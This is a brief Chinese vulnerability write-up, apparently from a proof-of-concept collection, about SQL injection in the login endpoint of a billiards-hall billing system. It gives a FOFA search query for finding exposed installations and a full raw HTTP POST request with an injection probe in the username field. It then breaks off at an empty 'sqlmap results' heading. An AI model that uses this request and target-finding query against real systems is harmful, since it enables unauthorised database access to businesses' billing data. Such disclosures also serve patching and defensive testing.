漏洞描述
有了瓦洛佳智慧台球收费系统,结算方式变成:扫码开台,随走随结。方便、透明,瓦洛佳智慧台球管理系统一经诞生,便火遍大江南北。瓦洛佳智慧台球收费系统/Home/Login接口存在SQL注入漏洞
FOFA:
body="瓦洛佳智慧台球收费系统"
漏洞复现
POC:
POST /Home/Login HTTP/1.1
Host:
Content-Length: 50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://
Referer: http://127.0.0.1/Home/Login
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: ASP.NET_SessionId=a43xtyqehsoqxpry3xsi0wim
Connection: keep-alive
jsUserName=admin'&jsPassword=1&jsVerification=kh5w
sqlmap结果: